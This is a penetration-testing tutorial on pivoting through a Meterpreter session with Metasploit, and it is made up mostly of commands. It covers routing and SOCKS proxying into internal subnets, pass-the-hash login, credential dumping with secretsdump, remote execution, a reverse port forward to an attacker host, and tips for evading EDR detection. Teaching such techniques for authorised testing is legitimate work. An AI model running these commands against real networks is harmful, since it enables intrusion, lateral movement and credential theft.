When your foothold is a Meterpreter session, Metasploit has pivoting built in — route traffic through the session to reach internal subnets, then expose that route as a SOCKS proxy for non-Metasploit tools.
The Three Building Blocks
| Feature | What it does |
|---|---|
autoroute / route add | Adds a subnet route via a session; subsequent Metasploit modules targeting that subnet use the route automatically |
portfwd | Binds a local port (or a reverse pivot port) through the session, one TCP service at a time |
auxiliary/server/socks_proxy | Exposes the Metasploit routing table as a SOCKS4/5 server for external tools |
Setting Up the Route
# From inside an active Meterpreter session
meterpreter > run autoroute -s 10.10.11.0/24
meterpreter > background
# Or from msf prompt
msf6 > route add 10.10.11.0/24 <session-id>
msf6 > route print
Verify:
msf6 > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.10.11.0 255.255.255.0 Session 2
Now any Metasploit auxiliary or exploit targeting 10.10.11.0/24 auto-routes through session 2 without further configuration:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.11.0/24
msf6 > set PORTS 445,3389,22,80
msf6 > run
Exposing SOCKS for External Tools
External tools (nmap, impacket, evil-winrm, curl) can’t use the Metasploit route directly. Start the SOCKS proxy module:
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
Then on the attacker (same host running msfconsole):
# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080proxychains nmap -sT -Pn -n 10.10.11.0/24 -p 445
proxychains evil-winrm -i 10.10.11.5 -u Administrator -H <NThash>
proxychains impacket-secretsdump admin:'Pass!'@10.10.11.5portfwd — Single-Service Forward
When you don’t need a full SOCKS proxy, meterpreter’s native portfwd works for one service:
meterpreter > portfwd add -l 3389 -r 10.10.11.5 -p 3389
# Attacker's localhost:3389 → pivot session → 10.10.11.5:3389
meterpreter > portfwd list
meterpreter > portfwd delete -l 3389 -r 10.10.11.5 -p 3389
Now:
xfreerdp /v:localhost:3389 /u:AdministratorReverse portfwd
For reverse port forward (pivot:port → attacker:port):
meterpreter > portfwd add -R -l 4444 -p 4444 -L <attacker-ip>
# -R: reverse
# -p: port on pivot that listens
# -L: destination (attacker)
# -l: destination port
Use case: compromised server can’t reach attacker directly, pivot can. Open -R so the server reaches pivot:4444, forwarded to attacker:4444.
Full Pattern — Meterpreter Pivot to Internal Target
# 1. Initial exploit lands a Meterpreter session
msf6 exploit(...) > exploit
[*] Meterpreter session 1 opened
# 2. Check what network the pivot is on
meterpreter > ifconfig
meterpreter > ipconfig # Windows
meterpreter > run get_local_subnets
# 3. Add the discovered subnet as a route
meterpreter > run autoroute -s 10.10.11.0/24
meterpreter > background
# 4. Scan the internal subnet via Metasploit
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.11.0/24
msf6 > set PORTS 22,80,443,445,3389,5985
msf6 > run
# 5. Enumerate SMB via Metasploit
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 10.10.11.0/24
msf6 > run
# 6. Expose SOCKS for external tools
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
# 7. Now use external tools
proxychains nmap -sT -Pn 10.10.11.0/24 -p 445
proxychains impacket-wmiexec admin:'Pass!'@10.10.11.5
# 8. If you get another foothold, repeat
msf6 > route add 10.10.12.0/24 <new-session-id>
post/multi/manage/autoroute (Alternative)
Same result as run autoroute but as a standalone post module:
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 1
msf6 > set SUBNET 10.10.11.0
msf6 > set NETMASK 255.255.255.0
msf6 > run
Deleting Routes
msf6 > route delete 10.10.11.0/24
msf6 > route flush # delete everything
Session-Specific Things That Won’t Pivot
Even with autoroute, some things can’t go through a session:
- Raw socket operations (nmap SYN scan, custom protocol packet crafting)
- UDP (Meterpreter TCP tunnel only)
- ICMP
For these, you need a SOCKS proxy AND a tool that supports it, or you need to work directly on the pivot (upload tools, run locally).
Common Pitfalls
- socks_proxy not starting — port 1080 already in use; set a different
SRVPORT. - “No route to host” — session died or route pointed at wrong session ID. Check
sessions -landroute print. - Slow — Meterpreter pivot adds latency; expect 10–50× slower than direct nmap.
- Session instability — big scans can crash flaky Meterpreter sessions. Use smaller port ranges per run, or migrate to a stable process first (
migrate <pid>).
When NOT to Use Meterpreter Pivoting
Meterpreter is obvious to EDR. On a Windows host you care about staying on, consider:
- Chisel binary — one small ELF/EXE, runs without MSF framework overhead
- SSH on Linux pivots — zero post-ex overhead if sshd is already running
- plink on Windows — same bytes as PuTTY, blends into developer activity
Meterpreter routing shines when: (a) you already have a meterpreter session, (b) you want quick Metasploit-driven enum, (c) short-lived engagement where stealth is less important than speed.
Summary
Session 1 (meterpreter)
→ autoroute 10.10.11.0/24
→ socks_proxy on 1080
→ proxychains any-tool → internal network
That’s it — four commands, every Metasploit pivot in one pattern.
